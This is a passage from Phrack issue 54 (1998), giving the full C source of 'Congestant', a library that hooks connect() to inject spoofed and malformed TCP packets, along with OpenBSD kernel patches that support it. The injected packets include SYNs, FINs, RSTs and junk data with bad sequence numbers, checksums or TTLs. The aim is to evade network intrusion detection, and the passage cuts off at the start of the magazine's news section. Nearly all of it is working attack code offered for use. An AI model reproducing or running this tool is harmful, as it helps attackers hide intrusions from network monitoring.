#include <sys/syscall.h>
#if __linux__
#include <endian.h>
#endif
#include <errno.h>

struct cong_config
{
	int one_host_attack;
	int fin_seq;
	int rst_seq;
	int syn_seq;
	int data_seq;	
	int data_chk;	
	int fin_chk;
	int rst_chk;
	int syn_chk;
	int data_ttl;	
	int fin_ttl;
	int rst_ttl;
	int ttl;
} cong_config;

int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;

/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */

#ifndef __OpenBSD__

#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else 
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif 

#endif /* not openbsd */

#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));

/* define our own headers so its easier to port. use cong_ to avoid any 
 * potential symbol name collisions */

struct cong_ip_header
{
	unsigned char  ip_hl:4,         /* header length */
		ip_v:4;               /* version */
	unsigned char  ip_tos;          /* type of service */
	unsigned short ip_len;          /* total length */
	unsigned short ip_id;           /* identification */
	unsigned short ip_off;          /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
	unsigned char  ip_ttl;          /* time to live */
	unsigned char  ip_p;                    /* protocol */
	unsigned short ip_sum;          /* checksum */
	unsigned long ip_src, ip_dst; /* source and dest address */
};

struct cong_icmp_header /* this is really an echo */
{
   unsigned char icmp_type;
   unsigned char icmp_code;
   unsigned short icmp_checksum;
   unsigned short icmp_id;
   unsigned short icmp_seq;
   unsigned long icmp_timestamp;
};

struct cong_tcp_header 
{
   unsigned short  th_sport;      /* source port */
   unsigned short  th_dport;      /* destination port */
   unsigned int  th_seq;        /* sequence number */
   unsigned int  th_ack;        /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
   unsigned char   th_x2:4,    /* (unused) */
      th_off:4;      /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
   unsigned char   th_off:4,      /* data offset */
      th_x2:4;    /* (unused) */
#endif
   unsigned char   th_flags;
#define  TH_FIN   0x01
#define  TH_SYN   0x02
#define  TH_RST   0x04
#define  TH_PUSH  0x08
#define  TH_ACK   0x10
#define  TH_URG   0x20
   unsigned short  th_win;        /* window */
   unsigned short  th_sum;        /* checksum */
   unsigned short  th_urp;        /* urgent pointer */
};

struct cong_pseudo_header
{  
	unsigned long saddr, daddr;
	char mbz;
	char ptcl;
	unsigned short tcpl;
};

int cong_checksum(unsigned short* data, int length)
{
	register int nleft=length;
	register unsigned short *w = data;
	register int sum=0;
	unsigned short answer=0;

	while (nleft>1)
	{
		sum+=*w++;
		nleft-=2;
	}

	if (nleft==1)
	{
		*(unsigned char *)(&answer) = *(unsigned char *)w;
		sum+=answer;
	}

	sum=(sum>>16) + (sum & 0xffff);
	sum +=(sum>>16);
	answer=~sum;

        return answer;
}

#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))

/* Utility routine for the ttl attack. Sends an icmp echo */

void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
	struct sockaddr_in sa;
	int sock,packet_len;
	char *pkt;
	struct cong_ip_header *ip;
	struct cong_icmp_header *icmp;

	int on=1;

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
		perror("socket");
		exit(1);
	}

	if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) 
	{
		perror("setsockopt: IP_HDRINCL");
		exit(1);
	}

	bzero(&sa,sizeof(struct sockaddr_in));
        sa.sin_addr.s_addr = dest;
        sa.sin_family = AF_INET;

	pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));

	ip=(struct cong_ip_header *)pkt;
	icmp=(struct cong_icmp_header *)(pkt+IHLEN);
	
	ip->ip_v = 4;
	ip->ip_hl = IHLEN >>2;
	ip->ip_tos = 0;
	ip->ip_len = htons(IHLEN+ICMPLEN);
	ip->ip_id = htons(getpid() & 0xFFFF);
	ip->ip_off = 0;
	ip->ip_ttl = ttl;
	ip->ip_p = IPPROTO_ICMP ;//ICMP
	ip->ip_sum = 0;
	ip->ip_src = source;
	ip->ip_dst = dest;
	icmp->icmp_type=8;
	icmp->icmp_seq=htons(seq);
	icmp->icmp_id=htons(id);
	icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);

	if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
	}

	free(pkt);
	close(sock);
}

/* Our main worker routine. sends a TCP packet */

void cong_send_tcp(long source, long dest,short int sport, short int dport,
 		long seq, long ack, int flags, char *data, int dlen, 
			int cksum, int ttl)
{
	struct sockaddr_in sa;
	int sock,packet_len;
	char *pkt,*phtcp;
	struct cong_pseudo_header *ph;
	struct cong_ip_header *ip;
	struct cong_tcp_header *tcp;

	int on=1;

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
		perror("socket");
		exit(1);
	}

	if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) 
	{
		perror("setsockopt: IP_HDRINCL");
		exit(1);
	}

	bzero(&sa,sizeof(struct sockaddr_in));
        sa.sin_addr.s_addr = dest;
        sa.sin_family = AF_INET;
	sa.sin_port = dport;

	phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
	pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));

	ph=(struct cong_pseudo_header *)phtcp;
	tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
	ip=(struct cong_ip_header *)pkt;
	
	ph->saddr=source;
	ph->daddr=dest;
	ph->mbz=0;
	ph->ptcl=IPPROTO_TCP;
	ph->tcpl=htons(THLEN + dlen);

	tcp->th_sport=sport;
	tcp->th_dport=dport;
	tcp->th_seq=seq;
	tcp->th_ack=ack;
	tcp->th_off=THLEN/4;
	tcp->th_flags=flags;
	if (ack) tcp->th_flags|=TH_ACK;
	tcp->th_win=htons(16384);
	memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
	tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;
                            
	ip->ip_v = 4;
	ip->ip_hl = IHLEN >>2;
	ip->ip_tos = 0;
	ip->ip_len = htons(IHLEN+THLEN+dlen);
	ip->ip_id = htons(getpid() & 0xFFFF);
	ip->ip_off = 0;
	ip->ip_ttl = ttl;
	ip->ip_p = IPPROTO_TCP ;//TCP
	ip->ip_sum = 0;
	ip->ip_src = source;
	ip->ip_dst = dest;
	ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);

	memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);

	if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
	}

	free(phtcp);
	free(pkt);
	close(sock);
}

/* Utility routine for data insertion attacks */

void cong_send_data(long source, long dest,short int sport, short int dport,
			long seq, long ack, int chk, int ttl)
{
	char data[1024];
	int i,j;

	for (i=0;i<8;i++)
	{
		for (j=0;j<1024;data[j++]=random());

		cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), 
			htonl(ack), TH_PUSH, data, 1024, chk, ttl);
	}
}

/* Utility routine for the ttl attack  - potentially unreliable */
/* This could be rewritten to look for the icmp ttl exceeded and count
 * the number of packets it receives, thus going much quicker. */

int cong_find_ttl(long source, long dest)
{
	int sock;
	long timestamp;	
	struct timeval tv,tvwait;
	int ttl=0,result=255;
	char buffer[8192];
	int bread;
	fd_set fds;
	struct cong_ip_header *ip;
	struct cong_icmp_header *icmp;

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
	{
		perror("socket");
		exit(1);
	}
	tvwait.tv_sec=0;
	tvwait.tv_usec=500;

	gettimeofday(&tv,NULL);
	timestamp=tv.tv_sec+3; // 3 second timeout
	
	DEBUG("Determining ttl...");

	while(tv.tv_sec<=timestamp)
	{
		gettimeofday(&tv,NULL);
		if (ttl<50)
		{
			cong_send_icmp(source,dest,ttl,1,ttl);
			cong_send_icmp(source,dest,ttl,1,ttl);
			cong_send_icmp(source,dest,ttl,1,ttl++);
		}	
		FD_ZERO(&fds);
		FD_SET(sock,&fds);
		select(sock+1,&fds,NULL,NULL,&tvwait);
		if (FD_ISSET(sock,&fds))
		{
			if (bread=read(sock,buffer,sizeof(buffer)))
			{
				/* should we practice what we preach? 
					nah...  too much effort :p */

				ip=(struct cong_ip_header *)buffer;
				if (ip->ip_src!=dest)
					continue;
				icmp=(struct cong_icmp_header *)(buffer +
					 ((ip->ip_hl)<<2));
				if (icmp->icmp_type!=0)
					continue;
				if (ntohs(icmp->icmp_seq)<result)
					result=ntohs(icmp->icmp_seq);
			}
		}
	}
	if (cong_debug)
		fprintf(stderr,"%d\n",result);

	close(sock);
	return result;
}

/* This is our init routine - reads conf env var*/

/* On the glibc box I tested, you cant dlopen from within
 * _init, so there is a little hack here */

#if __GLIBC__ == 2
int cong_start(void)
#else
int _init(void)
#endif
{
	void *handle;
	char *conf;

#ifndef __OpenBSD__
	handle=dlopen(LIB_PATH,1);
	if (!handle)
	{
		fprintf(stderr,"Congestant Error: Can't load libc.\n");
		return 0;
	}

#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
	cong_connect = dlsym(handle, "connect");
#else
	cong_connect = dlsym(handle, "_connect");
#endif

	if (!cong_connect)
	{
		fprintf(stderr,"Congestant Error: Can't find connect().\n");
		return -1;
	}
#endif	/* not openbsd */

	memset(&cong_config,0,sizeof(struct cong_config));

	if (conf=getenv("CONGCONF"))
	{
		char *token;
		token=strtok(conf,",");
		while (token)
		{
			if (!strcmp(token,"OH"))
				cong_config.one_host_attack=1;
			else if (!strcmp(token,"FS"))
				cong_config.fin_seq=1;
			else if (!strcmp(token,"RS"))
				cong_config.rst_seq=1;
			else if (!strcmp(token,"SS"))
				cong_config.syn_seq=1;
			else if (!strcmp(token,"DS"))
				cong_config.data_seq=1;
			else if (!strcmp(token,"FC"))
				cong_config.fin_chk=1;
			else if (!strcmp(token,"RC"))
				cong_config.rst_chk=1;
			else if (!strcmp(token,"SC"))
				cong_config.syn_chk=1;
			else if (!strcmp(token,"DC"))
				cong_config.data_chk=1;
			else if (!strcmp(token,"FT"))
			{
				cong_config.fin_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"RT"))
			{
				cong_config.rst_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"DT"))
			{
				cong_config.data_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"DEBUG"))
				cong_debug=1;

			token=strtok(NULL,",");	
		}
	}
	else		/* default to full sneakiness */
	{
		cong_config.one_host_attack=1;
		cong_config.fin_seq=1;
		cong_config.rst_seq=1;
		cong_config.syn_seq=1;
		cong_config.data_seq=1;
		cong_config.syn_chk=1;
		cong_debug=1;
			/* assume they have kernel support */
			/* attacks are only compiled in under obsd*/
		cong_config.data_chk=1;
		cong_config.fin_chk=1;
		cong_config.rst_chk=1;
		cong_config.data_ttl=1;
		cong_config.fin_ttl=1;
		cong_config.rst_ttl=1;
		cong_config.ttl=1;
	}

	cong_init=1;
}

/* This is our definition of connect */

#if (__svr4__ && __sun__)
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
#if __GLIBC__ == 2
int connect __P ((int __fd,
                         __CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
	int result,nl;
	struct sockaddr_in sa;

	long from,to;
	short src,dest;

	unsigned long fakeseq=424242;
	int type=SOCK_STREAM;
	unsigned long realseq=0;
	unsigned long recvseq=0;
	int ttl=255,ttlseq;

#if __GLIBC__ == 2
	if (cong_init==0)
		cong_start();
#endif

	if (cong_init++==1)
		fprintf(stderr,"Congestant v1 by horizon loaded.\n");

/* quick hack so we dont waste time with udp connects */

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
	syscall(242,__fd,&type,&realseq,&recvseq);
#endif /* openbsd */
	if (type!=SOCK_STREAM)	
	{
		result=syscall(SYS_connect,__fd,__addr,__len);
		return result;
	}
#endif /* kernel support */
	
	nl=sizeof(sa);
	getsockname(__fd,(struct sockaddr *)&sa,&nl);
	from=sa.sin_addr.s_addr;
	src=sa.sin_port;

#if __GLIBC__ == 2
	to=__addr.__sockaddr_in__->sin_addr.s_addr;
	dest=__addr.__sockaddr_in__->sin_port;
#else
	to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
	dest=((struct sockaddr_in *)__addr)->sin_port;
#endif

	if (cong_config.one_host_attack)
	{
		cong_send_tcp(inet_addr(FAKEHOST), 
			to, 4242, dest, 0, 0,
			TH_SYN, NULL, 0, 0, 254);
		DEBUG("Spoofed Fake SYN Packet\n");
	}

	if (cong_config.syn_chk)
	{
		/* This is a potential problem that could mess up
		 * client programs. If necessary, we bind the socket 
		 * so that we can know what the source port will be
		 * prior to the connection.
		 */
		if (src==0)
		{
			bind(__fd,(struct sockaddr *)&sa,nl);
			getsockname(__fd,(struct sockaddr *)&sa,&nl);
			from=sa.sin_addr.s_addr;
			src=sa.sin_port;
		}

		cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
			TH_SYN, NULL, 0,100, 254);
		DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
		fakeseq++;
	}

	DEBUG("Connection commencing...\n");

#ifndef __OpenBSD__
	result=cong_connect(__fd,__addr,__len);
#else /* not openbsd */
	result=syscall(SYS_connect,__fd,__addr,__len);
#endif

	if (result==-1)
	{
		if (errno!=EINPROGRESS)
			return -1;
		/* Let's only print the warning once */
		if (cong_init++==2)
			fprintf(stderr,"Warning: Non-blocking connects might not work right.\n");
	}

	/* In case an ephemeral port was assigned by connect */

	nl=sizeof(sa);
	getsockname(__fd,(struct sockaddr *)&sa,&nl);
	from=sa.sin_addr.s_addr;
	src=sa.sin_port;

	if (cong_config.syn_seq)
	{
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_SYN, NULL, 0, 0, 254);
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_SYN, NULL, 0, 0, 254);

		DEBUG("Sent Desynchronizing SYNs.\n");
	}

	if (cong_config.data_seq)
	{
		cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
		DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
		fakeseq+=8*1024;
	}

	if (cong_config.fin_seq)
	{
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_FIN, NULL, 0, 0, 254);
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++),  0,
			TH_FIN, NULL, 0, 0, 254);

		DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
	}

	if (cong_config.rst_seq)
	{	
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_RST, NULL, 0, 0, 254);
		cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
			TH_RST, NULL, 0, 0, 254);

		DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
	}

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__

	if (cong_config.ttl==1) 
		if (cong_ttl_cache!=to)
		{
			ttl=cong_find_ttl(from,to)-1;
			cong_ttl_cache=to;
			cong_ttl=ttl;
		}
		else
			ttl=cong_ttl;
	if (ttl<0) 
	{
		fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
		cong_config.data_ttl=0;	
		cong_config.fin_ttl=0;	
		cong_config.rst_ttl=0;	
		ttl=0;
	}

	syscall(242,__fd,&type,&realseq,&recvseq);
	ttlseq=realseq;

#endif /*openbsd */

	if (cong_config.data_ttl)
	{
		cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
		DEBUG("Inserted 8K of data with short ttl.\n");
		ttlseq+=1024*8;
	}

	if (cong_config.fin_ttl)
	{
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); 
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); 
		DEBUG("Spoofed FINs with short ttl.\n");
	}

	if (cong_config.rst_ttl)
	{
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
			htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
		cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
			htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
		DEBUG("Spoofed RSTs with short ttl.\n");
	}

	if (cong_config.data_chk)
	{
		cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
		DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
		realseq+=1024*8;
	}

	if (cong_config.fin_chk)
	{
		cong_send_tcp(from, to, src, dest, htonl(realseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 100, 254); 
		cong_send_tcp(from, to, src, dest, htonl(realseq++), 
			htonl(recvseq),TH_FIN, NULL, 0, 100, 254); 
		DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
	}

	if (cong_config.rst_chk)
	{
		cong_send_tcp(from, to, src, dest, htonl(realseq++),
			htonl(recvseq),TH_RST, NULL, 0, 100, 254);
		cong_send_tcp(from, to, src, dest, htonl(realseq++),
			htonl(recvseq),TH_RST, NULL, 0, 100, 254);
		DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
	}

#endif /* kernel support */

	return result;
}
<-->
<++> congestant/netinet.patch
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
--- /usr/src/sys.2.4.orig/netinet/in.h	Tue Dec  8 10:32:38 1998
+++ netinet/in.h	Tue Dec  8 10:48:33 1998
@@ -325,7 +325,10 @@
 #define IPCTL_IPPORT_LASTAUTO	8
 #define IPCTL_IPPORT_HIFIRSTAUTO 9
 #define IPCTL_IPPORT_HILASTAUTO	10
-#define	IPCTL_MAXID		11
+#define IPCTL_FRAG_HACK_HEAD	11
+#define IPCTL_FRAG_HACK_BODY	12
+#define IPCTL_OPTIONS_HACK	13
+#define	IPCTL_MAXID		14
 
 #define	IPCTL_NAMES { \
 	{ 0, 0 }, \
@@ -339,6 +342,9 @@
 	{ "portlast", CTLTYPE_INT }, \
 	{ "porthifirst", CTLTYPE_INT }, \
 	{ "porthilast", CTLTYPE_INT }, \
+	{ "fraghackhead", CTLTYPE_INT }, \
+	{ "fraghackbody", CTLTYPE_INT }, \
+	{ "optionshack", CTLTYPE_INT }, \
 }
 
 #ifndef _KERNEL
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
--- /usr/src/sys.2.4.orig/netinet/ip_input.c	Tue Dec  8 10:32:41 1998
+++ netinet/ip_input.c	Tue Dec  8 10:48:33 1998
@@ -106,6 +106,10 @@
 extern int ipport_hilastauto;
 extern struct baddynamicports baddynamicports;
 
+extern int ip_fraghackhead;
+extern int ip_fraghackbody;
+extern int ip_optionshack;
+
 extern	struct domain inetdomain;
 extern	struct protosw inetsw[];
 u_char	ip_protox[IPPROTO_MAX];
@@ -1314,6 +1318,15 @@
 	case IPCTL_IPPORT_HILASTAUTO:
 		return (sysctl_int(oldp, oldlenp, newp, newlen,
 		    &ipport_hilastauto));
+	case IPCTL_FRAG_HACK_HEAD:
+		return (sysctl_int(oldp, oldlenp, newp, newlen,
+		    &ip_fraghackhead));
+	case IPCTL_FRAG_HACK_BODY:
+		return (sysctl_int(oldp, oldlenp, newp, newlen,
+		    &ip_fraghackbody));
+	case IPCTL_OPTIONS_HACK:
+		return (sysctl_int(oldp, oldlenp, newp, newlen,
+		    &ip_optionshack));
 	default:
 		return (EOPNOTSUPP);
 	}
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
--- /usr/src/sys.2.4.orig/netinet/ip_output.c	Tue Dec  8 10:32:43 1998
+++ netinet/ip_output.c	Tue Dec  8 11:00:14 1998
@@ -88,6 +88,10 @@
 extern int ipsec_esp_network_default_level;
 #endif
 
+int ip_fraghackhead=0;
+int ip_fraghackbody=0;
+int ip_optionshack=0;
+
 /*
  * IP output.  The packet in mbuf chain m contains a skeletal IP
  * header (with len, off, ttl, proto, tos, src, dst).
@@ -124,6 +128,9 @@
 	struct inpcb *inp;
 #endif
 
+	/* HACK */
+	int fakeheadmtu;
+
 	va_start(ap, m0);
 	opt = va_arg(ap, struct mbuf *);
 	ro = va_arg(ap, struct route *);
@@ -144,7 +151,50 @@
 		m = ip_insertoptions(m, opt, &len);
 		hlen = len;
 	}
+	/* HACK */
+	else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+	{
+		struct mbuf *n=NULL;
+		register struct ip* ip= mtod(m, struct ip*);
+
+		if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) 
+		{
+			MGETHDR(n, M_DONTWAIT, MT_HEADER);
+			if (n)
+			{
+				n->m_pkthdr.len = m->m_pkthdr.len + 40;
+				m->m_len -= sizeof(struct ip);
+				m->m_data += sizeof(struct ip);
+				n->m_next = m;
+				m = n;
+				m->m_len = 40 + sizeof(struct ip);
+				m->m_data += max_linkhdr;
+				bcopy((caddr_t)ip, mtod(m, caddr_t), 
+					sizeof(struct ip));
+			}
+		} 
+		else 
+		{
+			m->m_data -= 40;
+			m->m_len += 40;
+			m->m_pkthdr.len += 40;
+			ovbcopy((caddr_t)ip, mtod(m, caddr_t), 
+				sizeof(struct ip));
+			n++; /* make n!=0 */
+		}
+		if (n!=0)
+		{
+			ip = mtod(m, struct ip *);
+			memset((caddr_t)(ip+1),0,40);
+			ip->ip_len += 40;
+
+			hlen=60;
+			len=60;	
+		}
+	}
+
 	ip = mtod(m, struct ip *);
+
 	/*
 	 * Fill in IP header.
 	 */
@@ -721,7 +771,15 @@
 	/*
 	 * If small enough for interface, can just send directly.
 	 */
-	if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
+
+	/* HACK */
+
+	fakeheadmtu=ifp->if_mtu;
+
+	if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+		fakeheadmtu=ip_fraghackhead;
+
+	if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
 		ip->ip_len = htons((u_int16_t)ip->ip_len);
 		ip->ip_off = htons((u_int16_t)ip->ip_off);
 		ip->ip_sum = 0;
@@ -738,7 +796,10 @@
 		ipstat.ips_cantfrag++;
 		goto bad;
 	}
-	len = (ifp->if_mtu - hlen) &~ 7;
+
+/* HACK */
+
+	len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
 	if (len < 8) {
 		error = EMSGSIZE;
 		goto bad;
@@ -748,6 +809,9 @@
 	int mhlen, firstlen = len;
 	struct mbuf **mnext = &m->m_nextpkt;
 
+	/*HACK*/
+	int first=0;
+
 	/*
 	 * Loop through length of segment after first fragment,
 	 * make new header and copy data of each part and link onto chain.
@@ -755,7 +819,9 @@
 	m0 = m;
 	mhlen = sizeof (struct ip);
 	for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
-		MGETHDR(m, M_DONTWAIT, MT_HEADER);
+		if (first && ip_fraghackbody)
+			len=(ip_fraghackbody-hlen) &~7;
+		MGETHDR(m,  M_DONTWAIT, MT_HEADER);
 		if (m == 0) {
 			error = ENOBUFS;
 			ipstat.ips_odropped++;
@@ -791,6 +857,7 @@
 		mhip->ip_sum = 0;
 		mhip->ip_sum = in_cksum(m, mhlen);
 		ipstat.ips_ofragments++;
+		first=1;
 	}
 	/*
 	 * Update first fragment by trimming what's been copied out
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c	Tue Dec  8 10:32:45 1998
+++ netinet/tcp_subr.c	Tue Dec  8 10:48:33 1998
@@ -465,3 +465,18 @@
 	if (tp)
 		tp->snd_cwnd = tp->t_maxseg;
 }
+
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
+
+void tcp_getseq(struct socket *so, struct mbuf *m)
+{
+	struct inpcb *inp;
+	struct tcpcb *tp;
+
+	if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))
+	{
+		m->m_len=sizeof(unsigned long)*2;
+		*(mtod(m,unsigned long *))=tp->snd_nxt;
+		*((mtod(m,unsigned long *))+1)=tp->rcv_nxt;
+	}
+}
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c	Tue Dec  8 10:32:45 1998
+++ netinet/tcp_usrreq.c	Tue Dec  8 10:48:33 1998
@@ -363,6 +363,10 @@
 		in_setsockaddr(inp, nam);
 		break;
 
+	case PRU_SOCKINFO:
+		tcp_getseq(so,m);
+		break;
+
 	case PRU_PEERADDR:
 		in_setpeeraddr(inp, nam);
 		break;
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h	Tue Dec  8 10:32:45 1998
+++ netinet/tcp_var.h	Tue Dec  8 10:48:34 1998
@@ -291,6 +291,8 @@
 void	 tcp_pulloutofband __P((struct socket *,
 	    struct tcpiphdr *, struct mbuf *));
 void	 tcp_quench __P((struct inpcb *, int));
+/*HACK*/
+void	 tcp_getseq __P((struct socket *, struct mbuf *));
 int	 tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
 void	 tcp_respond __P((struct tcpcb *,
 	    struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
<-->
<++> congestant/kern.patch
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c	Thu Dec  3 11:00:01 1998
+++ kern/uipc_syscalls.c	Thu Dec  3 11:13:44 1998
@@ -924,6 +924,53 @@
 }
 
 /*
+ * Get socket information.  HACK 
+ */
+
+/* ARGSUSED */
+int
+sys_getsockinfo(p, v, retval)
+	struct proc *p;
+	void *v;
+	register_t *retval;
+{
+	register struct sys_getsockinfo_args /* {
+		syscallarg(int) fdes;
+		syscallarg(int *) type;
+		syscallarg(int *) seq;
+		syscallarg(int *) ack;
+	} */ *uap = v;
+	struct file *fp;
+	register struct socket *so;
+	struct mbuf *m;
+	int error;
+
+	if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
+		return (error);
+
+	so = (struct socket *)fp->f_data;
+
+	error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
+
+	if (!error && (so->so_type==SOCK_STREAM))
+	{
+		m = m_getclr(M_WAIT, MT_DATA);
+		if (m == NULL)
+			return (ENOBUFS);
+
+		error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
+
+		if (!error)
+			error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
+		if (!error)
+			error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
+		m_freem(m);
+	}
+
+	return error;
+}
+
+/*
  * Get name of peer for connected socket.
  */
 /* ARGSUSED */
--- /usr/src/sys.2.4.orig/kern/syscalls.master	Thu Dec  3 11:00:00 1998
+++ kern/syscalls.master	Thu Dec  3 11:14:44 1998
@@ -476,7 +476,8 @@
 240	STD		{ int sys_nanosleep(const struct timespec *rqtp, \
 			    struct timespec *rmtp); }
 241	UNIMPL
-242	UNIMPL
+242	STD		{ int sys_getsockinfo(int fdes, int *type, \
+			    int *seq, int *ack); }
 243	UNIMPL
 244	UNIMPL
 245	UNIMPL
<-->
<++> congestant/sys.patch
--- /usr/src/sys.2.4.orig/sys/protosw.h	Thu Dec  3 11:00:39 1998
+++ sys/protosw.h	Thu Dec  3 11:16:41 1998
@@ -148,8 +148,8 @@
 #define	PRU_SLOWTIMO		19	/* 500ms timeout */
 #define	PRU_PROTORCV		20	/* receive from below */
 #define	PRU_PROTOSEND		21	/* send to below */
-
-#define	PRU_NREQ		21
+#define PRU_SOCKINFO		22
+#define	PRU_NREQ		22
 
 #ifdef PRUREQUESTS
 char *prurequests[] = {
@@ -158,7 +158,7 @@
 	"RCVD",		"SEND",		"ABORT",	"CONTROL",
 	"SENSE",	"RCVOOB",	"SENDOOB",	"SOCKADDR",
 	"PEERADDR",	"CONNECT2",	"FASTTIMO",	"SLOWTIMO",
-	"PROTORCV",	"PROTOSEND",
+	"PROTORCV",	"PROTOSEND", 	"SOCKINFO",
 };
 #endif
<-->

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 11 of 12


-------------------------[  P H R A C K     W O R L D     N E W S


--------[  Issue 54
           

Hi. A few changes have been made to Phrack World News (PWN) and will
probably change again in the future.  Because of the increase of news on
the net, security, hackers and other PWN topics, it is getting more
difficult to keep Phrack readers informed of everything.  To combat this
problem, PWN will include more articles, but only relevant portions (or
the parts I want to make smart ass remarks about).  If you would like to
read the full article, look through the ISN (InfoSec News) archives
located at: 

        ftp.repsec.com          /pub/text/digests/isn

If you would like timely news delivered with less smart ass remarks, you
